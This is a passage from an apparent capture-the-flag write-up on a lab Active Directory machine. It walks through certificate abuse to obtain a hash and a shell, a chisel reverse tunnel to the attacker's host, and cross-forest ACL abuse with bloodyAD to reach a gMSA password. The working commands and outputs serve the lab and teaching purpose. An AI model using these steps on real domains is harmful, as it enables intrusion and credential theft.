File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/impacket/dcerpc/v5/transport.py", line 357, in connect
raise DCERPCException("Could not connect: %s" % msg)
impacket.dcerpc.v5.rpcrt.DCERPCException: Could not connect: timed out
[-] Failed to get dynamic TCP endpoint for 91AE6020-9E3C-11CF-8D7C-00AA00C091BE
[-] Got error: Failed to get DCE RPC connection
Traceback (most recent call last):
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/entry.py", line 67, in main
actions[options.action](options)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/commands/parsers/req.py", line 29, in entry
req.entry(options)
~~~~~~~~~^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/commands/req.py", line 62, in entry
_ = request.request()
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/lib/req.py", line 1515, in request
cert = self.interface.request(csr_der, attributes)
File "/home/oxdf/.local/share/uv/tools/certipy-ad/lib/python3.13/site-packages/certipy/lib/req.py", line 1039, in request
raise Exception("Failed to get DCE RPC connection")
Exception: Failed to get DCE RPC connection
I am telling certipy that the name server is DC1, and then that name server is resolving DC1 to 192.168.2.1. This host must be dual-homed, and that internal IP comes back first. I can validate that theory:
oxdf@hacky$ dig +short dc1.ping.htb @10.129.128.220
192.168.2.1
10.129.128.220
oxdf@hacky$ dig +short dc1.ping.htb @10.129.128.220
10.129.128.220
192.168.2.1
It actually seems to alternate.
oxdf@hacky$ for i in $(seq 1 100); do dig +short dc1.ping.htb @10.129.128.220 | paste -sd, -; done | sort | uniq -c
50 10.129.128.220,192.168.2.1
50 192.168.2.1,10.129.128.220
This IP is consistent with the idea that there are Hyper-V VMs running on this machine, likely on the 192.168.2.0/24 network.
Anyway, the solution is to drop the name server argument from certipy and give the -dc-ip explicitly. Without -ns, certipy uses the system resolver, which reads dc1.ping.htb from my /etc/hosts entry:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache certipy req -k -target dc1.ping.htb -dc-host dc1.ping.htb -dc-ip 10.129.128.220 -ca ping-DC1-CA -template TemporaryWinRM
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 20
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Saving certificate and private key to 'c.roberts.pfx'
[*] Wrote certificate and private key to 'c.roberts.pfx'
This certificate has the issuance policy stamped on it. Now I use that certificate to authenticate:
oxdf@hacky$ certipy auth -pfx c.roberts.pfx -dc-ip 10.129.128.220
Certipy v5.1.0 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'C.Roberts@ping.htb'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Using principal: 'c.roberts@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
File 'c.roberts.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote credential cache to 'c.roberts.ccache'
[*] Trying to retrieve NT hash for 'c.roberts'
[*] Got hash for 'c.roberts@ping.htb': aad3b435b51404eeaad3b435b51404ee:2475be69d40e815588a85fd89c7a439d
This returns the NT hash for the account and a new TGT with the added group. That hash matches the password I already know:
oxdf@hacky$ echo -n 'AssumedBreach123' | iconv -t UTF-16LE | openssl dgst -md4 -provider legacy -provider default
MD4(stdin)= 2475be69d40e815588a85fd89c7a439d
WinRM
With a TGT obtained through the TemporaryWinRM certificate, which now carries the TempWinRMAccess group, I can get a shell using evil-winrm-py:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache evil-winrm-py -i dc1.ping.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'dc1.ping.htb:5985' as 'c.roberts@PING.HTB'
evil-winrm-py PS C:\Users\C.Roberts\Documents>
This user is in the TempWinRMAccess group in this session:
evil-winrm-py PS C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
PING\TempWinRMAccess Group S-1-5-21-750635624-2058721901-1932338391-2602 Mandatory group, Enabled by default, Enabled group
PING\IT Group S-1-5-21-750635624-2058721901-1932338391-2618 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Certificate Well-known group S-1-5-65-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
The IT group is also there. Authentication authority asserted identity and This Organization Certificate show the session came from a certificate login. Remote Management Users isn’t listed, which supports the idea that WinRM access is granted directly to the group’s SID.
Shell as Pong_gMSA$ on DC1
DC1 Enumeration
The DC file system is pretty empty, and so is c.roberts’s home directory:
evil-winrm-py PS C:\Users\C.Roberts> tree /f .
Folder PATH listing
Volume serial number is 000001E1 E721:DA81
C:\USERS\C.ROBERTS
+---Desktop
+---Documents
+---Downloads
+---Favorites
+---Links
+---Music
+---Pictures
+---Saved Games
+---Videos
The other users with home directories are the expected Administrator and Public, as well as Pong_gMSA$:
evil-winrm-py PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/16/2026 9:15 PM Administrator
d----- 11/13/2026 12:14 PM C.Roberts
d----- 4/11/2026 6:41 AM Pong_gMSA$
d-r--- 6/15/2025 12:59 PM Public
There are no interesting files or directories at the root of C::
evil-winrm-py PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/16/2025 6:55 AM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 1/16/2026 6:11 AM Program Files
d----- 1/16/2026 6:15 AM Program Files (x86)
d-r--- 11/13/2026 12:14 PM Users
d----- 4/10/2026 7:03 PM Windows
I don’t see any interesting directories in Program Files (x86). Program Files has two worth mentioning:
evil-winrm-py PS C:\Program Files> ls
Directory: C:\Program Files
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/16/2025 4:05 AM Common Files
d----- 4/10/2026 4:43 AM Hyper-V
d----- 6/16/2025 6:55 AM Internet Explorer
d----- 1/16/2026 6:15 AM Microsoft SQL Server
d----- 5/8/2021 1:20 AM ModifiableWindowsApps
d----- 6/16/2025 4:05 AM VMware
d----- 6/16/2025 4:55 AM Windows Defender
d----- 4/10/2026 4:43 AM Windows Defender Advanced Threat Protection
d----- 6/16/2025 6:55 AM Windows Mail
d----- 6/16/2025 6:55 AM Windows Media Player
d----- 5/8/2021 2:35 AM Windows NT
d----- 6/16/2025 6:55 AM Windows Photo Viewer
d----- 5/8/2021 1:34 AM WindowsPowerShell
Hyper-V shows the role is installed, which fits with the VMs I’ve already seen evidence of. SQL Server is interesting, as I didn’t see 1433 in my nmap scan. In the folder is just 160, which is the shared components folder for SQL Server 2022 version 16.0. Checking 160\Setup Bootstrap\Log\Summary.txt shows that someone started the MSSQL installer but then canceled it.
There is an interesting JEA directory in C:\ProgramData:
evil-winrm-py PS C:\programdata\JEA> ls
Directory: C:\programdata\JEA
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/5/2026 5:39 AM 477 JEA.pssc
It contains a Just Enough Administration (JEA) configuration (I’ve looked at JEA before in HTB: Reel2):
@{
# Version number of the schema used for this document
SchemaVersion = '2.0.0.0'
# ID used to uniquely identify this document
GUID = 'e26939b6-819a-496e-be9a-dfb45427c765'
# ConfigurationName = 'restricted'
# Author of this document
Author = 'Administrator'
# Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 'Default'
SessionType = 'RestrictedRemoteServer'
LanguageMode = 'ConstrainedLanguage'
}
The configuration shows:
SessionType = 'RestrictedRemoteServer'- the JEA lockdown modeLanguageMode = 'ConstrainedLanguage'- no arbitrary .NET, limited cmdletsConfigurationName = 'restricted'- this is commented out, but still likely refers to the registered endpoint name
A RestrictedRemoteServer session defaults to NoLanguage, so this config explicitly overrides that default to ConstrainedLanguage. That’s generally considered bad practice, as it weakens JEA. JEA relies on NoLanguage to stop users from writing script blocks. I’ll show how script blocks break out of this session below.
DC2 Enumeration
Tunnel
I’ll get the latest release of the Windows Chisel binary and upload it to PingPong over my WinRM shell:
evil-winrm-py PS C:\ProgramData> upload /opt/chisel/chisel_1.13.0_windows_amd64.exe c.exe
Uploading /opt/chisel/chisel_1.13.0_windows_amd64.exe: 11.5MB [00:14, 849kB/s]
[+] File uploaded successfully as: C:\ProgramData\c.exe
I’ll start the server on my VM and run the client on PingPong with .\c.exe client 10.10.15.169:8000 R:socks to create a SOCKS proxy. At my server it shows the connection:
oxdf@hacky$ chisel server --port 8000 --reverse
2026/11/14 21:22:34 server: Reverse tunnelling enabled
2026/11/14 21:22:34 server: Fingerprint Xc6r7jRM1D/pYOaRpWl1ivT1Bhq5DXdtGb6Bm2kKdug=
2026/11/14 21:22:34 server: Listening on http://0.0.0.0:8000
2026/11/14 21:23:08 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Now I can connect to DC2:
oxdf@hacky$ proxychains netexec smb 192.168.2.2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:135 ... OK
SMB 192.168.2.2 445 DC2 x64 (name:DC2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
I’ll generate an entry for the hosts file:
oxdf@hacky$ proxychains netexec smb 192.168.2.2 --generate-hosts-file hosts-dc2
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:135 ... OK
SMB 192.168.2.2 445 DC2 x64 (name:DC2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
oxdf@hacky$ cat hosts-dc2
192.168.2.2 DC2.pong.htb pong.htb DC2
oxdf@hacky$ cat hosts-dc2 /etc/hosts | sudo sponge /etc/hosts
Now I can connect by hostname:
oxdf@hacky$ proxychains -q netexec smb dc2.pong.htb
SMB 224.0.0.1 445 DC2 x64 (name:DC2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
Domain Trusts
I observed above the bidirectional domain trust between ping.htb and pong.htb. This means that I can authenticate to machines on pong.htb using the creds of a user on ping.htb. Just passing the username and password with netexec doesn’t work:
oxdf@hacky$ proxychains -q netexec smb dc2.pong.htb -u c.roberts -p AssumedBreach123 -k
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc2.pong.htb 445 dc2 [-] pong.htb\c.roberts:AssumedBreach123 KDC_ERR_C_PRINCIPAL_UNKNOWN
It’s trying to find pong\c.roberts, and that user doesn’t exist. But I can use the -d flag, or just use the existing TGT:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q netexec smb dc2.pong.htb --use-kcache
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc2.pong.htb 445 dc2 [+] PING.HTB\c.roberts from ccache
oxdf@hacky$ proxychains -q netexec smb dc2.pong.htb -u c.roberts -p AssumedBreach123 -d ping.htb -k
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc2.pong.htb 445 dc2 [+] ping.htb\c.roberts:AssumedBreach123
netexec uses Impacket’s own Kerberos code, which doesn’t read krb5.conf, but tools built on the system Kerberos library (like evil-winrm-py and kvno) do. So I’ll also update the krb5.conf file, though netexec only generates a config for a single realm, and I need both, so I’ll do it manually (with some help from Claude):
[libdefaults]
default_realm = PING.HTB
dns_lookup_kdc = false
dns_lookup_realm = false
dns_canonicalize_hostname = false
rdns = false
[realms]
PING.HTB = {
kdc = dc1.ping.htb
admin_server = dc1.ping.htb
default_domain = ping.htb
}
PONG.HTB = {
kdc = dc2.pong.htb
admin_server = dc2.pong.htb
}
[domain_realm]
.ping.htb = PING.HTB
ping.htb = PING.HTB
.pong.htb = PONG.HTB
pong.htb = PONG.HTB
The PONG.HTB entries are what make the cross-realm authentication work. When I request a ticket for a service on dc2.pong.htb, the [domain_realm] mappings tell the Kerberos library that host is in the PONG.HTB realm. The ping.htb KDC answers with a referral ticket for PONG.HTB, and since dns_lookup_kdc is off, the [realms] entry is how the client knows to take that referral to dc2.pong.htb.
I kept dns_canonicalize_hostname = false from earlier and added rdns = false. By default, the library resolves the hostname and reverse resolves the IP to build the service principal name. Everything here goes through proxychains, which hands back fake addresses (like the 224.0.0.1 in the netexec output above), so these settings make it use the hostname exactly as I give it.
SMB - TCP 445
The shares on DC2 also look default:
oxdf@hacky$ proxychains -q netexec smb dc2.pong.htb -u c.roberts -p AssumedBreach123 -d ping.htb -k --shares
SMB dc2.pong.htb 445 dc2 x64 (name:dc2) (domain:pong.htb) (signing:True) (SMBv1:False) (NTLM:False) (DC:True)
SMB dc2.pong.htb 445 dc2 [+] ping.htb\c.roberts:AssumedBreach123
SMB dc2.pong.htb 445 dc2 Enumerated shares
SMB dc2.pong.htb 445 dc2 Share Permissions Remark
SMB dc2.pong.htb 445 dc2 ----- ----------- ------
SMB dc2.pong.htb 445 dc2 ADMIN$ Remote Admin
SMB dc2.pong.htb 445 dc2 C$ Default share
SMB dc2.pong.htb 445 dc2 IPC$ READ Remote IPC
SMB dc2.pong.htb 445 dc2 NETLOGON READ Logon server share
SMB dc2.pong.htb 445 dc2 SYSVOL READ Logon server share
Nothing to see here.
LDAP - TCP 389+
There’s no roasting, but there is a gMSA account:
oxdf@hacky$ proxychains -q netexec ldap dc2.pong.htb -u c.roberts -p AssumedBreach123 -d ping.htb -k --gmsa
LDAP dc2.pong.htb 389 DC2 None (name:DC2) (domain:ping.htb) (signing:Unknown) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc2.pong.htb 389 DC2 Getting GMSA Passwords
LDAP dc2.pong.htb 389 DC2 Account: Pong_gMSA$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: gMSA Managers
c.roberts can’t read the password, but members of the gMSA Managers group can. That group is currently empty:
oxdf@hacky$ proxychains -q netexec ldap dc2.pong.htb -u c.roberts -p AssumedBreach123 -d ping.htb -k --groups "gMSA Managers"
LDAP dc2.pong.htb 389 DC2 None (name:DC2) (domain:ping.htb) (signing:Unknown) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] ping.htb\c.roberts:AssumedBreach123
LDAP dc2.pong.htb 389 DC2 [-] Group 'gMSA Managers' has no members
It’s easier to see the next connections in BloodHound, which I’ll collect here:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains rusthound-ce -d pong.htb -f dc2.pong.htb -u C.Roberts -p AssumedBreach123 -k --zip
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
---------------------------------------------------
Initializing RustHound-CE at 21:53:03 on 11/14/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-11-14T21:53:03Z INFO rusthound_ce] Verbosity level: Info
[2026-11-14T21:53:03Z INFO rusthound_ce] Collection method: All
[proxychains] Strict chain ... 127.0.0.1:1080 ... pong.htb:389 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.128.220:88 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:88 ... OK
[2026-11-14T21:53:03Z INFO rusthound_ce::transport::ldap] Connected to PONG.HTB Active Directory!
[2026-11-14T21:53:03Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-14T21:53:05Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=pong,DC=htb
[2026-11-14T21:53:05Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-14T21:53:07Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=pong,DC=htb
[2026-11-14T21:53:07Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-14T21:53:07Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=pong,DC=htb
[2026-11-14T21:53:07Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-14T21:53:07Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=pong,DC=htb
[2026-11-14T21:53:07Z INFO rusthound_ce::transport::ldap] Ldap filter : (objectClass=*)
[2026-11-14T21:53:08Z INFO rusthound_ce::transport::ldap] All data collected for NamingContext CN=Configuration,DC=pong,DC=htb
[2026-11-14T21:53:08Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
[2026-11-14T21:53:08Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-11-14T21:53:08Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-11-14T21:53:08Z INFO rusthound_ce::modules::session] [sessions] 0 active target(s) after expiry/enabled filter
[2026-11-14T21:53:08Z INFO rusthound_ce::modules::session] [sessions] 0 session(s) enumerated in total across 0 host(s)
[proxychains] Strict chain ... 127.0.0.1:1080 ... dc2.pong.htb:88 ... OK
[2026-11-14T21:53:08Z WARN rusthound_ce::transport::kerberos] [krb] TGS-REP error for cifs/dc2.pong.htb: KDC error 68
[2026-11-14T21:53:08Z WARN rusthound_ce::modules] [gpo] SYSVOL collection failed: TGS-REP: KDC error 68
[2026-11-14T21:53:08Z INFO rusthound_ce::modules::localgroup] [localgroups] 0 active target(s) after expiry/enabled filter
[2026-11-14T21:53:08Z INFO rusthound_ce::modules::localgroup] [localgroups] 0 edge(s) across 0 host(s)
[2026-11-14T21:53:08Z INFO rusthound_ce::modules::webclient] [webclient] 0 active target(s) after expiry/enabled filter
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 19 users parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 64 groups parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 1 computers parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 2 ous parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 2 domains parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 3 gpos parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] 73 containers parsed!
[2026-11-14T21:53:08Z INFO rusthound_ce::json::maker::common] .//20261114215308_pong-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 21:53:08 on 11/14/26! Happy Graphing!
I’ll upload this to BloodHound and take a look. The gMSA Managers group does have ReadGMSAPassword on Pong_gMSA$:
That group is owned by the IT group:
And c.roberts is a member!
Another way to see this is with bloodyAD and get writable:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains bloodyAD --host DC2.pong.htb -d pong.htb -k get writable
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.2.2:389 ... OK
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pong,DC=htb
permission: WRITE
distinguishedName: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
DACL: WRITE
distinguishedName: DC=pong.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=pong,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.pong.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=pong,DC=htb
permission: CREATE_CHILD
The first, third, and fourth results are similar defaults as above. There’s no “self”, as there is no c.roberts user on pong.htb.
The second item is DACL: WRITE over the gMSA Managers group, which comes from the IT group owning it.
There’s another interesting thing about the Pong_gMSA$ account in the description:
I’ll come back to this later.
Recover Account Keys
Add User to gMSA Managers Group
As a member of a group that owns another group, I should be able to add users to it. The owner of an object can always modify its DACL, so the first thing to do is give c.roberts GenericAll over the group. I’ll have to use the SID of the user rather than the name, or else it’ll generate this error:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k add genericAll "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" c.roberts
Traceback (most recent call last):
File "/home/oxdf/.local/bin/bloodyAD", line 10, in <module>
sys.exit(main())
~~~~^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 342, in main
asyncio.run(amain())
~~~~~~~~~~~^^^^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 272, in amain
output = await result
^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/add.py", line 428, in genericAll
async for e in ldap.bloodysearch(trustee, attr=["objectSid"]):
entry = e
break
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 464, in bloodysearch
base_dn = await self.dnResolver(base)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 299, in dnResolver
raise NoResultError(self.domainNC, ldap_filter)
bloodyAD.exceptions.NoResultError: No object found in DC=pong,DC=htb with filter: (sAMAccountName=c.roberts)
It’s trying to find c.roberts in pong.htb and failing. It fails the same way if I target ping.htb/c.roberts.
I can refer to the user by their SID (findable in BloodHound data and many other ways), and it works, as the SID is unique across domains:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k add genericAll "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" S-1-5-21-750635624-2058721901-1932338391-2617
[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=gMSA Managers,CN=Users,DC=Pong,DC=htb
If I try to add c.roberts to the group now, it will still fail:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k add groupMember "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" S-1-5-21-750635624-2058721901-1932338391-2617
Traceback (most recent call last):
File "/home/oxdf/.local/bin/bloodyAD", line 10, in <module>
sys.exit(main())
~~~~^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 342, in main
asyncio.run(amain())
~~~~~~~~~~~^^^^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py", line 195, in run
return runner.run(main)
~~~~~~~~~~^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/runners.py", line 118, in run
return self._loop.run_until_complete(task)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^
File "/home/oxdf/.local/share/uv/python/cpython-3.13.7-linux-x86_64-gnu/lib/python3.13/asyncio/base_events.py", line 725, in run_until_complete
return future.result()
~~~~~~~~~~~~~^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/main.py", line 272, in amain
output = await result
^^^^^^^^^^^^
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/cli_modules/add.py", line 466, in groupMember
await ldap.bloodymodify(group, {"member": [(Change.ADD.value, member_transformed)]})
File "/home/oxdf/.local/share/uv/tools/bloodyad/lib/python3.13/site-packages/bloodyAD/network/ldap.py", line 341, in bloodymodify
raise err
badldap.commons.exceptions.LDAPModifyException: unwillingToPerform for CN=gMSA Managers,CN=Users,DC=Pong,DC=htb (Attr) — Reason:(ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER) A global group cannot have a cross-domain member.
“A global group cannot have a cross-domain member.” BloodHound shows this group type:
If I get the current group I can see the type:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k get object "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" --attr groupType
distinguishedName: CN=gMSA Managers,CN=Users,DC=Pong,DC=htb
groupType: -2147483646
In hex, that’s 0x80000002, which breaks down into 0x80000000 for a security group (as opposed to a distribution group), and 0x00000002 for a global group.
Microsoft defines the Group Scopes as:
| Scope | Can contain as members | Permissions can be granted | Can convert to | groupType Value |
|---|---|---|---|---|
| Global (my target) | Accounts and global groups from the same domain only | Any domain in the forest | Universal (if not a member of another global group) | 0x00000002 |
| Domain local | Accounts, global, and universal groups from any domain (and domain local groups from the same domain) | Same domain only | Universal (if it has no domain local group as a member) | 0x00000004 |
| Universal | Accounts, global, and universal groups from any domain in the forest | Any domain or forest | Global (if no universal group members) or Domain local (no restrictions) | 0x00000008 |
If I want to add a ping.htb account to a pong.htb group, it must be a domain local group. A universal group isn’t enough, because it only accepts members from its own forest, and ping.htb is a separate forest. To get there, I’ll need to convert the group first to a universal group, and then to a domain local group. bloodyAD can do this, but it needs the value as a signed 32-bit decimal. The security flag 0x80000000 is -2147483648, so universal is -2147483648 + 8 = -2147483640, and domain local is -2147483648 + 4 = -2147483644:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k set object "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" groupType -v -2147483640
[+] CN=gMSA Managers,CN=Users,DC=Pong,DC=htb's groupType has been updated
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k set object "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" groupType -v -2147483644
[+] CN=gMSA Managers,CN=Users,DC=Pong,DC=htb's groupType has been updated
Now I can add c.roberts as a group member:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q bloodyAD --host DC2.pong.htb -d pong.htb -k add groupMember "CN=gMSA Managers,CN=Users,DC=Pong,DC=htb" S-1-5-21-750635624-2058721901-1932338391-2617
[+] S-1-5-21-750635624-2058721901-1932338391-2617 added to CN=gMSA Managers,CN=Users,DC=Pong,DC=htb
Recover gMSA AES Key
I’ll use netexec now to read the gMSA AES key. If I don’t get a fresh TGT, it will fail:
oxdf@hacky$ KRB5CCNAME=c.roberts.ccache proxychains -q netexec ldap pong.htb --use-kcache --gmsa
LDAP pong.htb 389 DC2 None (name:DC2) (domain:PING.HTB) (signing:Unknown) (channel binding:No TLS cert) (NTLM:False)
